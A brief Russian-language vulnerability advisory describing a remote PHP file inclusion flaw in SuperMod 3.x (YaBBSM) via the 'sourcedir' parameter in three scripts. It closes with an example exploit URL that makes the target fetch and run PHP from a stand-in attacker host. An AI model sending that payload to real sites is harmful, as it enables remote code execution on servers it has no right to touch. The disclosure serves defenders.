Программа: SuperMod 3.x (YaBBSM)
Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных в параметре "sourcedir" сценариями Offline.php, Sources/Offline.php и content/portalshow.php. Удаленный пользователь может выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера. Успешное эксплуатирование уязвимости требует включение опции "register_globals" в конфигурационном файле PHP.
Пример:
http://site.com/community/Offline.php?sourcedir= http://shellurl.com/phpcommands.txt?
